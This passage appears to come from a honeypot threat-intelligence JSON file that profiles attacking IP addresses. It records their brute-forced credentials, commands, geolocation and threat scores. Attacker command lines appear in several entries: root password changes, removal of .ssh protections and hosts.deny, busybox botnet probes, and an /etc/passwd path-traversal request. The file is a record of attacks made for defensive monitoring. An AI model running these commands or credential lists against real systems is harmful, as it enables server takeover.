        "345gs5662d34",
        "Bi123456",
        "Kq123456",
        "P@ssw0rd#123",
        "QQQ123456",
        "Root1!",
        "Zxcasdqwe",
        "admin111",
        "asdf2024",
        "c0v1d19",
        "cacti",
        "internet2",
        "qazzaq123",
        "t3rs3r4h"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yJOPy6C5Z87c\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T03:42:38.993000+00:00",
        "last_seen_30d": "2026-04-02T04:53:15.686000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 52
      }
    },
    "34.79.0.239": {
      "attack_count": 142,
      "first_seen": "2026-04-20T09:04:37.496Z",
      "last_seen": "2026-04-20T10:44:58.242Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Host: 172.105.186.117:23",
        "Cseq: 6918",
        "Cseq: 6984"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T09:04:37.496000+00:00",
        "last_seen_30d": "2026-04-20T10:46:08.086000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 142,
        "Suricata": 82
      }
    },
    "154.125.233.164": {
      "attack_count": 99,
      "first_seen": "2026-04-02T03:15:20.381Z",
      "last_seen": "2026-04-02T04:12:09.177Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1qaz@WSX2026",
        "5202414520",
        "ASDqwe!@#",
        "len",
        "lw@123",
        "pwlamea"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Nspk6xAtS3Lz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T03:15:20.381000+00:00",
        "last_seen_30d": "2026-04-02T04:13:15.967000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 31
      }
    },
    "154.124.77.50": {
      "attack_count": 98,
      "first_seen": "2026-04-02T02:09:34.379Z",
      "last_seen": "2026-04-02T03:06:41.763Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "t"
      ],
      "passwords_attempted": [
        "12QWaszx",
        "20269999",
        "345gs5662d34",
        "7654321",
        "N1c32hav3",
        "meridian",
        "s12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12QWaszx\\nRNnxD8ieTAJZ\\nRNnxD8ieTAJZ\\n\"|passwd",
        "echo -e \"12QWaszx\\nRNnxD8ieTAJZ\\nRNnxD8ieTAJZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:09:34.379000+00:00",
        "last_seen_30d": "2026-04-02T03:07:50.340000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 28
      }
    },
    "137.59.230.231": {
      "attack_count": 48,
      "first_seen": "2026-04-25T05:19:05.632Z",
      "last_seen": "2026-04-25T05:24:24.077Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T05:19:05.632000+00:00",
        "last_seen_30d": "2026-04-25T05:25:26.882000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "59.103.104.148": {
      "attack_count": 48,
      "first_seen": "2026-04-25T00:16:19.868Z",
      "last_seen": "2026-04-25T00:21:38.324Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T00:16:19.868000+00:00",
        "last_seen_30d": "2026-04-25T00:22:42.954000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "176.65.139.115": {
      "attack_count": 45,
      "first_seen": "2026-04-24T07:52:16.364Z",
      "last_seen": "2026-04-25T05:31:54.789Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "",
        "admin",
        "1234",
        "12345"
      ],
      "commands_executed": [
        "linuxshell",
        "system",
        "enable",
        "ls /home; /bin/busybox BOTNET",
        "sh",
        "uname -m; head -1 /proc/meminfo 2>/dev/null || cat /proc/meminfo 2>/dev/null; echo FPDONE"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.file_download",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 6.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 8,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-18T06:41:38.545000+00:00",
        "last_seen_30d": "2026-04-25T05:32:57.743000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 19,
        "Honeytrap": 1
      }
    },
    "60.23.73.11": {
      "attack_count": 44,
      "first_seen": "2026-04-27T10:26:44.739Z",
      "last_seen": "2026-04-27T10:31:51.438Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T10:26:44.739000+00:00",
        "last_seen_30d": "2026-04-27T10:32:52.282000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "138.197.179.186": {
      "attack_count": 41,
      "first_seen": "2026-04-27T17:08:10.555Z",
      "last_seen": "2026-04-27T17:09:26.404Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:08:10.555000+00:00",
        "last_seen_30d": "2026-04-27T17:19:31.802000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 30
      }
    },
    "193.34.144.93": {
      "attack_count": 40,
      "first_seen": "2026-04-30T14:53:18.974Z",
      "last_seen": "2026-04-30T14:55:25.283Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:53:18.974000+00:00",
        "last_seen_30d": "2026-04-30T14:56:30.899000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "35.240.118.97": {
      "attack_count": 39,
      "first_seen": "2026-04-27T03:16:34.636Z",
      "last_seen": "2026-04-27T03:16:55.248Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:16:34.636000+00:00",
        "last_seen_30d": "2026-04-27T03:17:59.826000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 22
      }
    },
    "1.234.19.14": {
      "attack_count": 38,
      "first_seen": "2026-04-10T15:43:30.294Z",
      "last_seen": "2026-04-11T01:15:26.086Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support",
        "admin",
        "centos",
        "sangoma"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Fuck@allPBX",
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [
        "echo login_success"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:43:30.294000+00:00",
        "last_seen_30d": "2026-04-11T01:16:26.859000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "115.239.250.31": {
      "attack_count": 37,
      "first_seen": "2026-04-28T08:40:14.395Z",
      "last_seen": "2026-04-28T09:06:08.217Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0pl,$RFV123",
        "123iopkl;,.",
        "345gs5662d34",
        "fhmeeda20260130",
        "root54321"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:40:14.395000+00:00",
        "last_seen_30d": "2026-04-28T09:07:26.059000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 16
      }
    },
    "66.113.163.85": {
      "attack_count": 36,
      "first_seen": "2026-04-30T10:08:53.303Z",
      "last_seen": "2026-04-30T10:10:23.897Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 18447,
      "as_org": "Ntirety, Inc.",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:08:53.303000+00:00",
        "last_seen_30d": "2026-04-30T10:11:25.804000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "45.148.10.141": {
      "attack_count": 28,
      "first_seen": "2026-04-01T10:03:31.644Z",
      "last_seen": "2026-04-29T13:03:29.992Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:03:31.644000+00:00",
        "last_seen_30d": "2026-04-29T13:04:31.771000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "201.16.236.188": {
      "attack_count": 23,
      "first_seen": "2026-04-09T21:34:43.871Z",
      "last_seen": "2026-04-09T21:34:49.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "00000000",
        "1234",
        "dreambox",
        "pass"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox JLPRA",
        "cat /proc/mounts; /bin/busybox JLPRA",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JLPRA",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox JLPRA",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 16735,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T21:34:43.871000+00:00",
        "last_seen_30d": "2026-04-09T21:35:58.333000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 2
      }
    },
    "176.65.148.75": {
      "attack_count": 22,
      "first_seen": "2026-04-02T00:31:31.394Z",
      "last_seen": "2026-04-08T12:04:19.457Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T14:25:24.931000+00:00",
        "last_seen_30d": "2026-04-08T12:05:21.130000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 22
      }
    },
    "101.47.8.187": {
      "attack_count": 20,
      "first_seen": "2026-04-02T11:51:58.337Z",
      "last_seen": "2026-04-02T11:53:36.207Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 21.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 26,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T11:51:58.337000+00:00",
        "last_seen_30d": "2026-04-27T09:47:26.063000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 16,
        "Honeytrap": 2
      }
    },
    "107.170.25.9": {
      "attack_count": 20,
      "first_seen": "2026-04-25T18:42:43.601Z",
      "last_seen": "2026-04-25T18:50:38.235Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana"
      ],
      "passwords_attempted": [
        "123",
        "sol",
        "solana"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T18:40:16.644000+00:00",
        "last_seen_30d": "2026-04-25T18:51:45.373000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "161.35.33.33": {
      "attack_count": 20,
      "first_seen": "2026-04-17T12:59:10.570Z",
      "last_seen": "2026-04-17T13:07:47.323Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "trader",
        "ubuntu"
      ],
      "passwords_attempted": [
        "solana",
        "trader",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T12:55:55.068000+00:00",
        "last_seen_30d": "2026-04-17T13:08:52.410000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "45.232.218.131": {
      "attack_count": 18,
      "first_seen": "2026-04-26T10:17:33.222Z",
      "last_seen": "2026-04-26T10:27:38.235Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jussiape",
      "asn": 267283,
      "as_org": "Antonio Carlos de Jussiape - ME",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T10:17:33.222000+00:00",
        "last_seen_30d": "2026-04-26T10:28:44.656000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "5.187.35.26": {
      "attack_count": 18,
      "first_seen": "2026-04-08T00:39:43.096Z",
      "last_seen": "2026-04-28T06:04:19.283Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Connection: close",
        "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
